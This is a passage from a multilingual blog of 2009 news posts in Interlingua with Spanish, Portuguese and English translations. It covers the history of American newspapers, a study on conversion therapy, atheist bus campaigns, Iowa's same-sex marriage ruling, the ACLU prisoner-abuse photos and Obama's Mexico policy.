\"New York Journal\". Lor competition mutue provocava le publication de grande numeros de articulos sensationaliste pro augmentar le circulation de lor jornales. Hearst anque criticava fortemente le governamento colonial de Espania in Cuba e esseva un forte influentia que provocava nostre guerra contra Espania in 1898.\nIl es impossible scriber sur le historia del jornalismo american sin mentionar Bob Woodward e Carl Bernstein del \"Washington Post\". In 1972 illes scribeva un serie de articulos post que le \"plumberos\" del administration de Richard Nixon invadeva le bureaus del democratas in un del officios del complexo Watergate. Lor travalio eventualmente causava le expulsion de Nixon ex le presidentia american.\nLe apparentia de jornales American cambiava post le publication del prime numero de \"USA Today\" in 1982. Le major parte del articulos in iste jornal esseva breve con un emphase in le uso de sondages del opinion public. Su formato accentuava le uso de colores. E multes lo comparava con le practicas del programmas de novas del television american. Iste jornal deveniva multo popular e significantemente influentiava le practicas de altere jornales american.\nA causa de competition per Internet, nostre jornales lucta pro devenir plus relevante in un mundo de augmentante communication electronic. Milliones de personas nunc ha accesso gratuite per le Rete a articulos in jornales como \"USA Today\" e le \"New York Times\" e non compra lor versiones imprimite. Multe jornales nunc vole vender al minus un selection de lor articulos publicate in Internet in vice de distribuer los gratuitemente. Ma sin dubito il habera multe resistentia a iste practica per le publico, como il ha habite multe resistentia public al vendita de musica in le Rete.\nIl es possibile que eventualmente nostre jornales devenira organisationes sin objectivos de lucro. Assi, illos poterea solicitor donationes philanthropic. Ma usque nunc le induistria non ha functionate de iste maniera, e il ha habite un certe resistentia a tal transformation. Ma le competition de servicios gratuite trans le rete e de blogatores, como io, qui travalia gratuitemente, es multo forte, e cambios al traditiones de nostre jornales es inevitabile. In iste momento tamen il es difficile predicer exactemente le forma eventual de iste cambios.\n---\nThe first newspaper published in what is now the United States was \"Publick Occurrences, both Foreign and Domestick.\" Only one issue of this paper was published. Its continued publication was forbidden for three reasons:\nFirst, its editor, Benjamin Harris, did not obtain permission to publish it. A second reason was its criticism of the abuse of several French prisoners who had been captured by the Indian allies of the English. The third reason was its speculations on the sex life of the French royal family.\nTo keep from offending colonial officials, later newspapers published articles that came from European newspapers of that era. Their editors avoided the publication of articles on politics and public policy.\nBut all this changed with the publication in Boston, Massachusetts, of the \"New England Courant\" in 1721. This paper accused the colonial government, for example, of not doing enough to protect the ships of that era from the depredations of pirates.\nIts editor, James Franklin, was arrested, and he could not continue publishing his paper. So he hired his younger brother, Benjamin, to be its new editor. In this way a famous American of that era, Benjamin Franklin, started his long and distinguished public career.\nFreedom of the press is now protected by the American constitution, but the process that resulted in this guarantee was slow and painful. A trial in New York in 1735 contributed a lot to this process. Peter Zenger, the editor of the \"Weekly Journal,\" had criticized the policies of the colonial governor, who had him arrested.\nZenger conceded that he had criticized the governor, but he defended himself by saying that what he had said about the governor was true. His jurors acquitted Zenger because they concluded that he had indeed published the truth.\nSome newspapers in colonial America supported the English colonial government. But criticism from other newspapers contributed greatly to the movement against the British colonial government which culminated in the American Revolution. After that war, the editors of the newspapers of the countries supported several political parties and, convinced of their new constitutional protection, they once again criticized the new American government when they felt like it.\nBut the government of the new nation at times resisted the freedom of the press. The anti-sedition law of 1798 once again criminalized criticism of the government in order to damage its prestige in the eyes of the public. Three years later, Thomas Jefferson was elected to the presidency of the country, and he nullified this law. He strongly supported press liberty, saying that if he could decide whether we should have a government without newspapers or newspapers without a government, he would enthusiastically support the continued existence of newspapers.\nIn the first part of the nineteenth century, the price of our newspapers was six cents--too much money for many workers and immigrants in the United States. Then in the decade between 1830 and 1840 came newspapers that cost only one cent, the \"penny press.\" These newspapers could be sold at such a low price because they earned money by selling advertisements to growing groups of commercial enterprises. To increase their circulation, most of these newspapers published sensationalist articles on crime problems and the trials of criminals by our legal system--a practice that is still quite common in the publication of newspapers.\n(The Newspaper Association of American says that today advertising sales make up 80% of the economic support for our newpapers. But these sales went down by 16% last year, and the organization predicts a new reduction of 10% this year.)\nIn 1846 a group of New York newspapers reached an agreement to save money by combining their efforts to collect and distribute news articles, establishing an organization that became the Associated Press. The increasing use of the telegraph in that era meant that our newspapers could publish information on recent events in many parts of the country.\nThe editors of the newspapers of that era often used their publications to advocate new social policies. William Lloyd Garrison, for example, started the publication of a newspaper, \"The Liberator,\" to eliminate slavery in the United States. The year 1827 saw the publication of the first newspaper published by African Americans, \"Freedom's Journal.\" And groups of immigrants started publishing newspapers in their native languages.\nThe American Civil War in the first part of the decade between 1860 and 1870 increased the demand for reporters. After the war the editorial emphasis of our newspapers slowly changed toward the publication of useful information. But even so, they had a rather significant influence on the evolution of events and social policies in the United States.\nIn 1883 Joseph Pulitzer bought the \"New York World\" and used it to improve conditions for the workers and the poor of the city. He also inaugurated the practice of investigative reporting. A famous reporter of that time, Nellie Bly, for example, investigated the inhuman and cruel treatment of patients in an insane asylum in that area.\nPullitzer had a very powerful competitor, William Randolph Hearst, who published the \"New York Journal.\" Their mutual competition provoked the publication of large numbers of sensationalist articles to increase the circulation of their newspapers. Hearst also strongly criticized the colonial government of Spain in Cuba and was a strong influence that provoked our war against Spain in 1898.\nIt is impossible to write about the history of American journalism without mentioning Bob Woodward and Carl Bernstein of the \"Washington Post.\" In 1972 they wrote a series of articles after the \"plumbers\" of the Nixon administration invaded the offices of the democrats in one of the buildings of the Watergate complex. Their work eventually drove Nixon out of the American presidency.\nThe appearance of American newspapers changed after the publication of the first issue of \"USA Today\" in 1982. Most of the articles in this paper were brief with an emphasis on the use of public-opinion polls. Its format emphasized the use of colors. And many compared it with the practices of American television news programs.\nBecause of the competition from the Internet, our newspapers are fighting to become more relevant in a world of increasing electronic communication. Millions of people now have free Net access to articles in newspapers like \"USA Today\" and the \"New York Times and don't buy their printed versions. Many newspapers now want to sell at least a portion of their articles published on the Internet instead of distributing them for nothing. But without doubt there will be a lot of resistance to this practice by the public, as there has been a lot of public resistance to selling music on the Net.\nIt is possible that eventually our newspapers will become non-profit organizations. In that form they would be able to ask for philanthropic donations. But up to now the industry has not worked in this way, and there has been a certain resistance to such a transformation. But the competition of free services through the Net by bloggers like me, who work for nothing, is very strong, and change in the traditions of our newspapers is inevitable. At this moment, however, it is difficult to predict the eventual form of these changes.\nPosted by hkyson at 6:47 PM\n(Languages of this post: Interlingua, Spanish, English)\nUn investigation in le Regno Unite discoperiva que il continua a haber therapistas e psychiatras qui etiam nunc essaya a \"curar\" a lesbianas, gays, e bisexuales pro \"converter les\" a heterosexuales.\nSecundo un studio recentemente publicate in \"BMC Psychiatry\" isto continua a occurrer in despecto de que il non ha evidentia scientific que tal methodos es benefic o mesmo secur.\nLe studio, facite per scientistas del Universitate de Londres (UCL) e financiate per le organisation de investigationes Wellcome Trust, involveva 1.400 professionales de sanitate mental.\nLe resultatos monstrava que solmente 4% diceva que illes essayava a cambiar le orientation sexual de lor clientes. Ma quando on demandava si illes essayarea a reducer le sentimentos homosexual de lor clientes, 17%--un de cata sex--affirmava que lo facerea. Iste professionales diceva que illes habeva adjuvate al minus un cliente a reducer tal sentimentos, generalmente con therapia.\nOn anque demandava le anno quando illes habeva practicate tal therapia, e le investigatores non trovava indicationes que iste tendentia habeva diminuite in annos recente.\n\"Il ha multo pauc evidentia que demonstra que tractar le sentimentos homosexual de un persona es efficace\", affirma le professor Michael King, del UCL. \"Nos nunc sape que le effortios pro cambiar le orientation sexual del gente provoca cambios multo parve e pote causar enorme damno, e nos discoperiva que il es multo preoccupante que il ha un minoritate importante de professionales qui pare ignorar isto--mesmo quando illes ha le melior de intentiones.\nLe Regal Collegio de Psychiatras del Regno Unite affirma que le homosexuales ha \"le derecto de proteger se de therapias que pote esser potentialmente damnose, particularmente illos que essaya a cambiar le orientation sexual\".\nLe professor King e su equipa discoperiva que le therapistas da plure rationes pro offerer iste therapias. Istos va desde lor proprie opiniones moral e religiose sur le homosexualitate usque le desiro de adjuvar patientes qui ha timor de esser discriminate. In plus, diceva le scientista, multe professionales es completementente ignorante sur le periculos de iste tipo de therapia e le manco de probas de que illo es utile.\nLe professor King insiste que il es importante que le publico e le therapistas ha conscientia sur le natura del homosexualitate e de su \"tractamentos\" inutile.\n\"Le melior foco es adjuvar le homosexuales a adjustar a lor situation\", dice King. \"Nos debe valorar les como personas e monstrar a illes que il non ha ullo abnormal sur lor orientation sexual, e tanto le professionales del sanitate mental como le societate in general debe adjuvar les a confrontar le prejudicio tanto in se mesmes como in le altere membros del societate.\"\n---\nTerapias que \"curan\" a homosexuales\nUna investigación en el Reino Unido descubrió que sigue habiendo terapeutas y psiquiatras que todavía intentan \"curar\" a lesbianas, gays, y bisexuales para \"volverlos\" heterosexuales.\nSegún un estudio recién publicado en \"BMC Psychiatry\" esto sigue ocurriendo a pesar de que no hay evidencia científica de que dichos métodos sean beneficiosos o de que incluso sean seguros.\nEl estudio, llevado a cabo por científicos de la Universidad de Londres (UCL) y financiado por la organización de investigaciones Wellcome Trust, involucró a 1.400 profesionales de salud mental.\nLos resultados mostraron que sólo 4% de ellos dijeron que intentarían cambiar la orientación sexual de sus clientes. Pero cuando se les preguntó si ayudarían a reducir los sentimientos homosexuales de ellos, 17%--uno de cada seis--afirmaron que lo harían. Estos profesionales dijeron que habían ayudado al menos a un cliente a reducir esos sentimientos, por lo general con terapia.\nTambién se les preguntó en qué año habían llevado a cabo esa terapia y los investigadores no encontraron indicios de que esta tendencia hubiera disminuido en años recientes.\n\"Hay muy poca evidencia que demuestre que tratar los sentimientos homosexuales de una persona sea efectivo\", afirma el profesor Michael King, de la UCL. \"Ahora sabemos que los esfuerzos para cambiar la orientación sexual de la gente provocan cambios muy pequeños y pueden causar enorme daño, y descubrimos que es muy preocupante que haya una minoría importante de profesionales que parece ignorar esto -incluso cuando tienen la mejor de las intenciones\".\nEl Real Colegio de Psiquiatras del Reino Unido afirma que los homosexuales tienen \"el derecho de protegerse de terapias que pueden ser potencialmente perjudiciales, particularmente las que tratan de cambiar la orientación sexual\".\nEl profesor King y su equipo descubrieron que los terapeutas dan varias razones por las cuales ofrecen estas terapias. Éstas van desde las propias opiniones morales y religiosas sobre la homosexualidad hasta el deseo de ayudar a pacientes que se sienten angustiados por ser discriminados. Además, dijo el científico, muchos profesionales están completamente ignorantes acerca de los peligros de este tipo de terapia y la falta de pruebas de que es útil.\nEl profesor King insiste que es importante que haya consciencia tanto del público como de los terapeutas sobre la naturaleza de la homosexualidad y de sus \"tratamientos\" inútiles.\n\"El mejor enfoque es ayudar a los homosexuales a ajustarse a su situación\", dice King. \"Debemos valorarlos como personas y mostrarles que no existe nada patológico en su orientación sexual, y tanto los profesionales de la salud mental como la sociedad en general deben ayudarlos a enfrentar el prejuicio tanto en sí mismos como en los demás miembros de la sociedad\".\n---\nTherapies that \"cure\" homosexuals\nAn investigation in the United Kingdom found that psychiatrists and psychotherapists are still still trying to \"cure\" lesbians, gays, and bisexuals and make them become heterosexuals.\nAccording to a study recently published in \"BMC Psychiatry\" this continues to go on even though there is no scientific evidence that these methods are beneficial or even safe.\nThe study, conducted by scientists at the University of London (UCL) and funded by the Wellcome Trust research organization, involved 1,400 mental health professionals.\nThe results showed that only 4% said they would try to change the sexual orientation of their clients. But when asked if they would try to reduce homosexual feelings in their clients, 17%--one in six--said they would. These professionals said they had helped at least one client to reduce those feelings, usually through therapy.\nThey were also asked what year they had carried out such therapy, and the researchers found no evidence that this trend has gone down in recent years.\n\"There is little evidence showing that treating the feelings of a gay person is effective,\" says Professor Michael King of UCL. \"We now know that efforts to change a person's sexual orientation produce only very small changes and can cause huge damage, and we find it very disturbing that there is a significant minority of professionals who seem to ignore this, even when they have the best of intentions.\"\nThe Royal College of Psychiatrists of the United Kingdom says that homosexuals have \"the right to protect themselves from therapies that can be potentially harmful, particularly those that claim to change sexual orientation.\"\nProfessor King and his team discovered that therapists give several reasons for offering these therapies. These range from their moral and religious views about homosexuality to their desire to help patients who are frightened of being discriminated against. Also, said the scientist, many professionals are completely ignorant about the dangers of such therapy and the lack of evidence that it is useful.\nProfessor King insists that it is important for both the public and therapists to be aware of the nature of homosexuality and its useless \"treatments.\"\n\"The best approach is to help people adjust to their situation,\" King said, \"We should value them as people and show them that there is nothing abnormal about their sexual orientation, and both mental health professionals and society in general should help them cope with prejudice in both themselves and other members of society.\"\nPosted by hkyson at 6:20 PM\nSaturday, April 25, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nVERSION IN INTERLINGUA:\nIn junio, 2008, le comediante Britannic, Ariane Sherine, scribeva un articulo in un jornal online plangente se del publicitate que illa habeva vidite in le omnibuses de London pro promover le Christianitate. Le annuncios incoragiava lor lectores a visitar un website pro informationes ulterior. Illa faceva precisamente illo, e illa esseva choccate con lo que illa trovava. \"Quando io visitava le website io videva un pagina que diceva que omne le non-Christianos morirea comburite in le inferno e esserea tormentate pro omne le eternitate\", illa diceva. \"Io tunc pensava que il esserea un bon idea crear un campania publicitari contra iste mentita religiose\".\nIlla demandava que omnes qui legeva su articulo donava le equivalente de US$7 pro un campania publicitari alternative. In januario de 2009 illa habeva sufficiente moneta pro financiar su campania in 200 omnibuses in London e pro altere campanias in altere citates de Grande Britannia. Le slogan dice simplemente, \"There's probably no God. Now stop worrying and start enjoying your life\". [Probabilemente il non ha ulle Deo. Nunc abandona vostre preoccupationes e comencia a gauder de vostre vita.]\nUn del appoiantes le plus enthusiastic del Campania es Polly Toynbee, le presidente del Association Humaniste de Grande Britannia. \"Il esseva stupefaciente quando le campania comenciava in le omnibuses del pais. Le message es optimiste e relaxate e pare haber essite capturate per le imagination del mundo, particularmente in paises ubi il ha plus sensibilitate religiose e, a causa de ille ration, etiam minus tolerantia pro atheos que in Grande Britannia. In Italia, le atheos ha problemas special debite al resistentia del Vaticano.\"\nLe problemas de atheos italian:\nLe atheos italian, in despecto de lor enthusiasmo pro sequer le initiativo lanceate in London, habeva alicun problemas. Illes comenciava le Campania in le citate de Genova, ma Adele Orioli, del Union del Atheos de Italia, dice que le processo non esseva pacific.\n\"Primo, le agentia de publicitate diceva que illo travaliarea in nostre campania, ma postea, sin ulle ration legal, illo refusava le slogan que nos voleva usar e que diceva: 'Le mal nova es que Deo non existe. Le bon nova es que vos non ha ulle necessitate de Ille.'\" Ma le atheos italian se trova determinate a non restar con le brachios cruciate proque, secundo Adele Orioli, illes trova que lor perspectiva sur le vita es generalmente supprimite.\n\"Le atheos non es generalmente invitate a exprimer lor opiniones in le societate italian\", diceva illa. \"Le papa appare constantemente in le novas de nostre television, ma il non ha ulle spatio pro le non-credentes. In un pais democratic e moderne como Italia, il non debe haber ulle necessitate pro nostre organisation.\"\nLe problemas de atheos in le Statos Unite:\nUn pais ubi le separation inter le religion e le politica es attentemente controlate es le Statos Unite. Ma secundo Ed Buckner, le presidente del Association del Atheos del Statos Unite, mesmo in un pais que fermente separa le ecclesia e le stato, le activistas athee crede que il es periculose monstrar apertemente lor manco de fide. \"Si io travaliava in un area rural del stato de Georgia e in le prime die del travalio mi chef me demandava 'Que ecclesia frequenta vos?' e si o diceva a ille que io es atheo, il haberea un grande possibilitate de non esser promovite--o mesmo de esser dimittite. A causa de illo il ha un grande numero de atheos qui non se manifesta apertemente. Le organisation que io dirige sta a facer multe effortios pro incoragiar atheos a non remaner celate, ma isto involve riscos, e nos non pote negar lo.\"\nObama e le atheos American:\nIn su prime discurso como presidente del Statos Unite, Barack Obama diceva que le atheos es parte del grande diversitate de America, e le majoritate del atheos se trovava multo felice con iste recognoscimento. Le atheismo e omne le altere tipos de scepticismo religiose deveniva un pauco plus prominente in iste pais e un pauco plus acceptabile.\nSuper toto, Ed Buckner crede que le atheos sta a devenir plus active in le defensa de lor puncto de vista e sta a reducer le fortia politic traditional del Christianitate in le cultura american.\nAtheismo in Grande Britannia e Europa:\nMa esque iste campania publicitari per atheos monstra que le movimento es forte, o esque iste campania es un responsa defensive al influentia crescente del religion? Le professor Linda Woodhead, del Universitate de Lancaster, in le nord de Anglaterra, ha studiate le religion e su rolo in le societate. Illa dice que il ha habite un parve augmento in le numero de europeos qui, quando on les questiona, dice que illes non crede in Deo.\n\"Totevia nos non sape multo sur le profilo social del ateos e del secularistas\", diceva illa, \"proque il ha multo minus studios sur le secularismo que sur le religion, ma le investigationes disponibile monstra que le secularistas non religiose in le Union Europee ha empleos ben remunerate, es del classe medie, tende a esser politicamente del leve, e 99% es del racia blanc. Il es anque obvie que le societate secular de Europa es sub le menacia de immigrantes qui es extremistas islamic e que nos poterea esser confrontate con le guerra religiose in le futuro.\n---\nVERSION IN PORTUGESE:\nEm Junho de 2008 a comediante britânica, Ariane Sherine, escreveu um artigo num jornal online queixando-se de publicidade que vira em autocarros de Londres para promover o Cristianismo. Os anúncios encorajavam seus leitores a visitarem um website para mais informações. Ela fez precisamente isso, e ficou chocada com o que encontrou. \"Quando visitei o website vi uma página que dizia que todos os não-Cristãos morreriam queimados no Inferno e seriam tormentados para toda a eternidade\", disse. \"Então pensei que seria uma boa idéia criar uma campanha publicitária contra esta mentira religiosa\".\nEla pediu a todas as pessoas que lessem o seu artigo para que doassem o equivalente a US$7 para uma campanha publicitária alternativa. Em Janeiro de 2009 ela tinha dinheiro suficiente para financiar sua campanha em 200 autocarros em Londres e para outras campanhas noutras cidades da Grã-Bretanha. O slogan diz simplesmente: \"There's probably no God. Now stop worrying and start enjoying your life\". [Provavelmente não há Deus. Agora, deixe de se preocupar e comece a gozar a sua vida.]\nUma das apoiantes mais enthusiastas da campanha é Polly Toynbee, a presidente da Associação Humanista da Grã-Bretanha. \"Foi espantoso quando a campanha começou nos autocarros do país. A mensagem é optimista e descontraída e pareceu ter sido captada pela imaginação de todo o mundo, particularmente de pessoas em países onde há uma maior sensibilidade religiosa e, por essa razão, ainda menos tolerância para os ateus do que na Grã-Bretanha. Na Itália, os ateus têm problemas especiais devido à resistência por parte do Vaticano\".\nOs problemas dos ateus italianos:\nOs ateus italianos, apesar do seu entusiasmo em seguir a iniciativa lançada em Londres, tiveram alguns problemas. Eles começaram a campanha na cidade de Génova, mas Adele Orioli, da União dos Ateus da Itália, diz que o processo não foi pacífico.\n\"Primeiro, a agência de publicidade disse que trabalharia na nossa campanha, mas depois, sem qualquer razão legal, recusou o slogan que queriamos usar e que dizia: 'A má notícia é que Deus não existe. A boa notícia é que você não precisa Dele.'\" Mas os ateus italianos estão determinados em não cruzar os braços, acima de tudo porque, segundo Adele Orioli, acham que a sua perspectiva sobre a vida é, regra geral, suprimida.\n\"Os ateus não são geralmente convidados a expressar as suas opiniões na sociedade italiana\", disse ela. \"O Papa aparece constantemente nas notícias da nossa televisão mas não há espaço para os não-crentes. Num país democrático e moderno como a Itália, não deveria ser necessária a existência da nossa associação.\"\nOs problemas dos ateus nos Estados Unidos:\nUm país onde a separação entre a religião e a política é cuidadosamente controlada é a América. Mas, segundo Ed Buckner, o presidente da Associação dos Ateus dos EUA, mesmo num país que se orgulha da separação entre a igreja e o estado, os activistas ateus acreditam que é perigoso mostrar-se abertamente a falta de fé. \"Se eu fosse trabalhar numa área rural do estado da Geórgia e no primeiro dia de trabalho o meu patrão me perguntasse; 'Que igreja frequenta?' e eu lhe dissesse que sou ateu, haveria uma grande possibilidade de não ser promovido--ou mesmo de ser despedido\", ille diceva. \"Por isso, há um grande número de ateus que não se manifestam abertamente. A organização que lidero está a esforçar-se muito para encorajar os ateus a não continuarem escondidos, mas isso acarreta riscos e não podemos fingir que não.\"\nObama e os ateus americanos:\nEm seu primeiro discurso como Presidente dos Estados Unidos, Barack Obama disse que os ateus são parte da grande diversidade dos Estados Unidos, e a maioria dos ateus estavam muito felizes com esse reconhecimento. O ateísmo e todos os outros tipos ceticismo religioso se tornaram um pouco mais prominentes neste país e um pouco mais aceitáveis.\nMas Ed Buckner acredita que esta nova aceitação do ateísmo é muito limitada. Ele acredita que um ateu ainda não poderia ser eleito como o presidente dos Estados Unidos, mas ele admite que um presidente ateu poderia ser possível no futuro. \"É impensável agora, mas não é impossível pensar que dentro de uma ou duas gerações isso possa acontecer. O facto de Barack Obama, um homem de raça negra, ter sido eleito chocou alguns e encantou muitos outros, mas há uma geração isso era inconcebível.\"\nAcima de tudo, Ed Buckner acredita que os ateus estão se tornando mais ativas na defesa do seu ponto de vista e estão reduzindo a força política tradicional do Cristianismo na cultura americana.\nAteismo na Grã-Bretanha e Europa:\nMas será que esta campanha publicitária por ateus mostra que o movimento é forte, ou será esta campanha uma resposta defensiva à influência crescente da religião? A Professora Linda Woodhead, da Universidade de Lancaster, no norte da Inglaterra, tem estudado a religião e o seu papel na sociedade. Ela diz que houve um pequeno aumento no número de europeus que, quando questionadas, dizem que não acreditam em Deus.\n\"Ainda não sabemos muito sobre o perfil social dos ateus e dos secularistas\", disse ela, \"porque há muito menos pesquisas sobre secularismo do que sobre a religião, mas as pesquisas disponíveis mostram que os secularistas não-religiosos na União Europeia têm empregos bem remunerados, são da classe média, tendem a ser politicamente de esquerda, e 99% são de raça branca. É também óbvio que a sociedade secular na Europa está sob uma ameaça crescente de imigrantes que são extremistas islâmicos, e que poderíamos ser confrontados com a guerra religiosa no futuro.\"\n---\nVERSION IN ANGLESE:\nIn June, 2008, the British comedian, Ariane Sherin, wrote an article in a newspaper complaining of online advertising appearing on buses in London to promote Christianity. The ads encouraged their readers to visit a website for further information. She did so and was shocked with what she found. \"When I visited the website I saw a page that said that all non-Christians would burn in hell, condemned to suffer for all eternity,\" she said. \"Then I thought that it would be a good idea to create a publicity campaign against this religious lie.\"\nShe asked all the people reading her article to donate the equivalent of $7.00 for an alternative campaign. In January 2009 she had enough money to finance a campaign on 200 buses in London and other campaigns in other cities of Britain. The slogan says simply, \"There's probably no God. Now stop worrying and start enjoying your life.\"\nOne of the most enthusiastic supporters of the campaign is Polly Toynbee, the president of the Humanist Association of Britain. \"It was amazing when the campaign began on the buses of the country. The message is optimistic and relaxed and seemed to have captured the imagination of the world, particularly in countries where there is more religious sensibility and, for that reason, even less tolerance for atheists than in Great Britain. In Italy, atheists have special problems because of resistance from the Vatican.\"\nThe problems of Italian atheists:\nItalian atheists, despite their enthusiasm for pursuing the initiative in London, had some problems. They began the campaign in the city of Genoa, but Adele Orioli of Italy's Union of atheists says the process was not peaceful.\n\"First, the advertising agency said it would work on our campaign, but then, without any legal grounds, it refused the slogan that we wanted to use, which said, 'The bad news is that God does not exist. The good news is that you do not need Him.'\" But Italian atheists are determined not to take this lying down because above all, according to Adele Orioli, they think that their perspective on life is generally suppressed.\n\"Atheists are not generally invited to express their opinions in Italian Society. The Pope appears constantly in the news on our television but there is no room for non-believers. In a democratic and modern country like Italy, the existence of our association should not be necessary.\"\nThe problems of atheists in the United States:\nThe United States is a country where the separation between religion and politics is carefully controlled. But according to Ed Buckner, the president of the Association of American Atheists, even in a country that prides itself on the separation of church and state, atheist activists believe that it is dangerous to openly display their lack of faith. \"If I were working in a rural area of the state of Georgia and the first day of work my boss asked me, 'What church do you attend?' and I told him (that) I was an atheist, I would probably not be promoted and could even be fired,\" he said. \"So there are a lot of atheists who do not come out of the closet. The organization I lead has tried hard to encourage atheists to come out, but doing so is risky and we can't pretend that it isn't.\"\nObama and American atheists:\nIn his first speech as President of the United States Barack Obama said that atheists are part of the great diversity of America, and the majority of atheists were very happy with this recognition. Atheism and all other kinds of religious skepticism became a little more prominent in this country and a little more acceptable.\nBut Ed Buckner believes that acceptance of atheism is very limited. He believes that an atheist could not yet be elected President of the United States, but he admits that an atheist president could be possible in the future. \"It is unthinkable now, but it is not impossible to think that within a generation or two this could happen. The fact that Barack Obama, a black man, has been elected shocked some and enchanted many others, but a generation ago it was unthinkable.\"\nAbove all, Ed Buckner believes that atheists are becoming more active in advocating their point of view and are reducing the traditional political strength of Christianity in American culture.\nAtheism in Britain and Europe:\nBut does this publicity campaign by Atheists show that the movement is strong, or is this campaign a defensive response to the growing influence of religion? Professor Linda Woodhead of the University of Lancaster, in the north of England, has studied religion and its role in society. She says that there has been a small increase in the number of Europeans who, when questioned, say that they do not believe in God.\n\"Still we do not know a lot about the social profile of atheists and secularists,\" she said, \"because there are many fewer studies on secularism than on religion, but the available investigations show that non-religious secularists in the European Union have well-paying jobs, belong to the middle class, tend to be politically on the left, and 99% belong to the white race. It is also obvious that secular society in Europe is threatened by immigrants who are Islamic extremists and that we could be faced with religious warfare in the future.\"\nPosted by hkyson at 4:21 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe Corte Supreme de Iowa, in le Statos Unite, decideva que un resolution que prohibe matrimonios de copulas del mesme sexo es inconstitutional.\nLe judices rejectava un appellation facite per un tribunal in 2007 e establiva que le prohibition viola le derectos del gays e del lesbianas in ille stato.\nLe caso comenciava in 2005 quando un gruppo defensor del derectos del homosexuales, con sede in New York, initiava un processo legal representante sex copulas gay.\nIowa deveni le tertie stato del pais que permitte matrimonios de personas del mesme sexo. Le alteres es Connecticut e Massachusetts.\nAltere statos permitte uniones civil que que non ha le importantia legal que possede le matrimonio.\nCon iste decision, Iowa anque ha devenite le prime stato del medie west conservator del Statos Unite que permitte matrimonios homosexual.\n---\nIowa permite matrimonios gays.\nLa Corte Suprema de Iowa, en los Estados Unidos, dictaminó que una resolución que prohíbe matrimonios de parejas del mismo sexo es inconstitucional.\nLos magistrados rechazaron una apelación hecha por un tribunal en 2007 y establecieron que la prohibición viola los derechos de los gays y las lesbianas en ese estado.\nEl caso se remonta a 2005 cuando un grupo defensor de los derechos de los homosexuales, con sede en Nueva York, inició un pleito en representación de seis parejas gays.\nIowa se convierte en el tercer estado del país que permite los matrimonios de personas del mismo sexo. Los otros son Connecticut y Massachusetts.\nOtros estados permiten uniones civiles que carecen de la importancia legal que posee el matrimonio.\nCon este fallo, Iowa también se convierte en el primer estado del conservador medio oeste de Estados Unidos en permitir matrimonios homosexuales.\n---\nIowa allows gay marriage.\nThe Supreme Court of Iowa in the United States, ruled that a resolution that prohibits marriage for same-sex couples is unconstitutional.\nThe justices rejected a decision by a lower court in 2007 and established that the ban violates the rights of gays and lesbians in the state.\nThe case dates back to 2005 when a group defending the rights of homosexuals based in New York initiated a lawsuit on behalf of six gay couples.\nIowa becomes the third state in the country that allows same-sex marriages. The others are Connecticut and Massachusetts.\nOther states allow civil unions that lack the legal importance attached to legal marriage.\nWith this ruling, Iowa also becomes the first state in the conservative American Mid West to allow gay marriages.\nPosted by hkyson at 3:52 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nUn organisation de protection de derectos human annunciava que le autoritates american dara al publico un gruppo de photos que monstra le maltractamento de prisioneros per le personal del Statos Unite in Iraq y Afghanistan durante le administration del presidente George W. Bush.\nIste gruppo, le American Civil Liberties Union (ACLU) diceva que le Departamento de Defensa esseva obligate a facer iste photos liberemente disponibile al publico a causa de un action judicial initiate per le ACLU in 2004.\nUn homine de leges de iste gruppo diceva que le photos provide un proba visual que le abuso de prisioneros non esseva un exception ma un practica amplie.\n---\nEl Pentágono dará a conocer fotos de abusos a prisioneros\nUna organización de protección de los derechos humanos anunció que las autoridades norteamericanas le dará al público un grupo de fotos que muestran el maltrato de presos por el personal de los Estados Unidos en Irak y Afganistán durante la administración del presidente George W. Bush.\nEste grupo, la American Civil Liberties Union (ACLU), dijo que el Departamento de Defensa se vio obligado a liberar estas fotos a causa de una acción judicial iniciada por la ACLU en 2004.\nUn abogado de este grupo dijo que las fotos proveen \"una prueba visual\" de que el abuso de prisioneros no era una excepción sino una práctica amplia.\n---\nO Pentágono libertará fotos mostrando abuso de prisioneiros\nUma organização para a defesa dos direitos humanos, anunciou que as autoridades dos Estados Unidos libertará para o público um grupo de imagens mostrando maus tratos de presos por pessoal dos Estados Unidos no Iraque e no Afeganistão durante a administração do presidente George W. Bush.\nEste grupo, a American Civil Liberties Union (ACLU), disse que o Departamento de Defesa foi forçado a libertar estas imagens por causa de uma acção judicial iniciado pela ACLU em 2004.\nUm advogado para o grupo disse que as fotos fornecem \"provas visuais\" de que o abuso de prisioneiros não foi uma excepção, mas uma prática extensa.\n---\nThe Pentagon will release photos of prisoner abuse.\nAn organization for the protection of human rights has announced that the U.S. authorities will release to the the public a group of pictures showing mistreatment of prisoners by U.S. personnel in Iraq and Afghanistan during the administration of President George W. Bush.\nThis group, the American Civil Liberties Union (ACLU), said the Defense Department was forced to make these pictures freely available to the public because of legal action initiated by the ACLU in 2004.\nA lawyer from this group said that these photographs provide \"visual proof\" that the abuse of prisoners was not an exception but a widespread practice.\nPosted by hkyson at 4:06 AM\nFriday, April 24, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese French, Italian, English)\nIste septimana le Casa Blanc comencia a reveler su strategia pro le gerentia de su relationes con Mexico.\nIn le pressa de Washington on ha dicite que su strategia includera le reinfortiamento del presentia de agentes federal in le frontiera inter Mexico e le Statos Unite e le estabilimento de nove servicios de intelligentia destinate a adjuvar le governamento mexican in su guerra contra le carteles del droga.\nMexico se ha convertite in un thema dominante in le classe politic del Statos Unite a causa del explosion de violentia associate con le narcotraffico in ille pais in le ultime menses, le qual causava le morte de 7.200 personas le anno passate, secundo le governamento mexican.\nMultes se trova convencite que ille violentia nunc se trova in plure citates del Statos Unite a causa del competition crescente inter le carteles mexican e le mafias local del Statos Unite.\nPro su parte, le governamento mexican se plange que le armas usate per le narcotraficantes in lor battalias veni principalmente del Statos Unite, ubi su acquisition es plus facile que in Mexico.\nDiverse personas crede que le plano de Obama includera un melior coordination inter le systemas de intelligentia de Mexico e del Statos Unite, ben que usque nunc il ha habite problemas al respecto.\nWashington ha laudate le resolution del presidente Calderón in su confrontation contra le carteles del droga in su pais, e le nove administration american dice voler appoiar plus fortemente le governamento de Mexico con le Initiativa Mérida, un plan de tres annos pro controlar le narcotrafico in Mexico, le America Central, e le Caribbean.\nObama anque diceva que ille vole cambios in le legislation migratori iste anno, ma il pare probabile que ille non lo obtenera a causa del problema del violentia in Mexico, le qual debera confrontar se immediatemente.\n---\nObama revela su política mexicana\nEsta semana la Casa Blanca empieza a revelar su estrategia para el manejo de las 